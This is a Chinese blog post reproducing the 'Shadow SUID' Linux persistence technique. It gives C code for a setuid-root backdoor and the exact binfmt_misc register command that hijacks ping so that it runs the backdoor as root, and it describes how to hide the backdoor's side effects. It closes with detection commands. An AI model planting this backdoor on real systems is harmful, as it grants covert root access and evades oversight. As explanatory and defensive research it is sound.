P.S. 本文主要参考Dor Dankner的相关研究,并梳理了背景知识,根据实际情况进行分析复现

Dor Dankner的相关文章可以见以下链接:

SUID, SGID, SBIT特殊权限

在linux中,除了rwx权限之外,还有一些特殊的权限:

可以发现这里ping程序的所有者是root,其所有者的权限为rws而非rwx。这里的s标识位出现在文件所有者的x权限上时,此时称为Set UID,简称为SUID权限。SUID权限有以下的限制和功能:

  1. SUID权限仅对二进制程序有效
  2. 执行者对于该程序需要X的可执行权限
  3. 本权限仅在程序执行过程中有效
  4. 执行者将具有执行该程序所属者的权限

我们以一个例子来说明为什么需要这样的特殊权限:ping应用是用户经常需要使用的网络工具,但是ping应用在使用时需要调用底层的raw socket,该操作需要root权限。让每个使用ping应用的用户都获取root权限是非常危险而不现实的,因此这里需要一个特殊标识位,让普通用户在使用这个应用期间以root身份执行该操作

SGID同理,此时s标识位出现在用户组的x权限。SGID同样有以下功能和限制:

  1. SGID权限仅对二进制程序有效
  2. 程序执行者需要具备该程序的X可执行权限
  3. 执行者在执行过程中具有程序所属用户组的权限

与上面两个权限不同,SBIT是针对目录的限制:

  1. 当用户在该目录下建立文件或目录时,只有创建者和root用户才有权限删除

设置特殊权限时,可以使用数字位:

  • SUID => 4
  • SGID => 2
  • SBIT => 1

例如我们设置一个文件为755权限,如果想为其添加SUID权限,需要设置为4755

chmod 4755 file

SUID后门

利用这种特性,很容易的可以设计出一种提权后门,只要获取到root权限,为一个二进制应用设置SUID标识位,即使我们丢失了root权限,仍然可以以root用户的身份来执行命令

#include <stdlib.h>

void main()
{
    setuid(0);
    setgid(0);
    system("id");
}

如上图所示,我们以低权限用户上传suid程序,然后以root权限将suid程序的所属者更改为root,并为之赋予SUID权限,此时低权限用户再次执行时,就会以root用户的身份执行命令

这种方式来进行权限维持特征比较明显,只需查找具有suid权限的文件即可

Shadow SUID

后门思路

到了这里才正式进入正文,Dor Dankner提出了一种利用Linux的binfmt_misc机制进行隐蔽权限维持的方法。在此之前,我们先了解一下在linux中执行程序时的细节

在执行execve()系统调用后,内核会读取文件的前128个字节,然后遍历已经注册的二进制程序handler,以此来决定由哪个程序来执行。这也是脚本程序通常以#!开头就是要告知内核,应该以什么程序来处理这段脚本。在这一过程中,起到主要作用的是binfmt_misc这个机制。在Linux2.6.8之后,一般都会支持。

举几个例子,一个二进制文件以\x7fELF开头的话,内核会将其认定为ELF文件,并使用binfmt_elf这个handler来加载;一个脚本以#!开头的话,会使用binfmt_script来处理

Linux系统提供了相关接口,我们可以借助它来注册自定义格式,以后缀或Magic Code的形式来自动调用相关的handler来处理程序,接口位于/proc/sys/fs/binfmt_misc/register

重点来了:使用binfmt_msic机制,即使interpreter没有特殊权限,只要interpreted file有SUID权限,我们就能够以SUID权限来执行interpreter

接下来我们需要寻找一个具有独一无二特征且具有SUID权限的二进制文件,保障前128字节的独特性是要避免其他具有相同特征的文件也受到影响,Dor Dankner在这里提供了一个脚本辅助寻找

locate_unique_suids.py

我们选择ping这个应用,作为interpreted file,接下来的任务是创建一条规则,让ping应用被我们指定的二进制程序解析。之后每次执行ping应用时,都会以root权限执行我们所需的指令

注册新的binfmt_misc规则

如果没有开启binfmt_misc机制,需要手动开启,之后挂在binfmt_misc

modprobe binfmt_misc
mount binfmt_misc /proc/sys/fs/binfmt_misc

如果没有这个模块需要重新编译内核来开启

注册新的规则时,需要遵守以下格式,这里摘取medium的一些内容:

:name:type:offset:magic:mask:interpreter:flags
  • name是规则名称,最终会保存在/proc/sys/fs/binfmt_misc目录下
  • type是类别,M表示以magic code识别目标文件,E表示以扩展名来识别
  • offset指定识别时的偏移位置,仅当M模式下使用
  • interpreter表示用于执行文件的解释器,这里需要绝对路径

举个例子:我们在执行python文件的时候,都需要在开头使用#!/bin/python来指定解释器,或者使用python xxx.py的格式来执行,如果我们想添加一条规则,让所有的*.py文件自动使用/bin/python执行,可以这样做:

sudo echo ':py:E::py::/bin/python:' > /proc/sys/fs/binfmt_misc/register

之后以.py结尾的python文件,即使不在开头指定解释器也能够被正确的执行

禁用与删除规则

禁用规则时,直接向规则文件写入0即可;删除规则时,向规则文件写入-1

sudo echo '0' > /proc/sys/fs/binfmt_misc/py

后门实例

在设置后门之前,为了说明该后门不会对系统自带二进制程序造成任何修改,我们先存一下sha1值

root@vultr:/tmp# sha1sum `which ping`
b78428f497b6ee2ebcfcde9dadbaeb78b71e8add  /bin/ping

接下来我们安装后门,编译并生成一个二进制文件,执行需要的命令,这里还是使用刚才的源码

#include <stdlib.h>

void main()
{
    setuid(0);
    setgid(0);
    system("id");
}

生成了二进制文件shadow_suid,属主是anakin这一低权限用户,而且也没有添加特殊权限

接下来我们切回root权限,向/proc/sys/fs/binfmt_misc/register写入以下内容

root@vultr:/tmp/shadowsuid# echo ':.ping:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\xa9\x2a\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x88\xa5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x09\x00\x40\x00\x1c\x00\x1b\x00\x06\x00\x00\x00\x05\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x40\x00\x00\x00\x00\x00\xf8\x01\x00\x00\x00\x00\x00\x00\xf8\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00::/tmp/shadow_suid:C' > /proc/sys/fs/binfmt_misc/register

表示写入一条名为.ping的规则,以二进制程序的前128个字节为标识,符合条件的使用/tmp/shadow_suid这一程序来解析,在写入之后,我们再调用ping命令时就会被/tmp/shadow_suid解析了。接下来让我们切回低权限用户,下面来见证后门效果

可以看到,在没有对ping应用进行任何改动的前提下,成功劫持了该应用的执行,并以SUID权限来调用了后门。而且我们用于作为解析器的二进制文件,本身也没有添加SUID权限。

如何改进

目前后门最大的缺陷就是,会影响ping程序正常的功能,关于这一点,其实也有办法解决:只要在后门内暂时关闭规则,然后重新执行原命令即可。具体实现代码可以看这里

一开始没明白为什么作者要费力fork重新开个子进程,自己重新推导了一下过程,这样做应该是为了解决进程意外中断后不能复原binfmt_misc规则的问题。我们来一起看一下流程,建议对照代码阅读:

  1. 首先获取当前程序的pid,从/proc/<pid>/exe取出当前执行的程序路径,关闭shadow suid
  2. fork创建子进程,此时有了分支:

    1. 子进程:进入循环,读取/proc/<pid>/exe的路径是否发生了变化,以此判断是否有新命令执行。因为无论是执行backdoor指令还是执行程序原有的功能,都需要用execve重新启动,会发生变化。当路径发生变化后(说明程序已经执行完毕或者退出),重新启用binfmt_misc规则
    2. 父进程:判断指定位是否为密码,若是则执行后门指令;若否,则重新构建程序正常的功能

后门检测方式

检查是否可以被使用这种方式攻击:

$ grep 'BINFMT_MISC' /boot/config-`uname -r`

检查是否已经被攻击:

$ mount | grep binfmt_misc
$ ls -la /proc/sys/fs/binfmt_misc

如果除了registerstatus还有别的文件,说明已经被攻击

还有一些其他资料,可以参考作者的github

标签: Pentest, 权限提升, Linux

添加新评论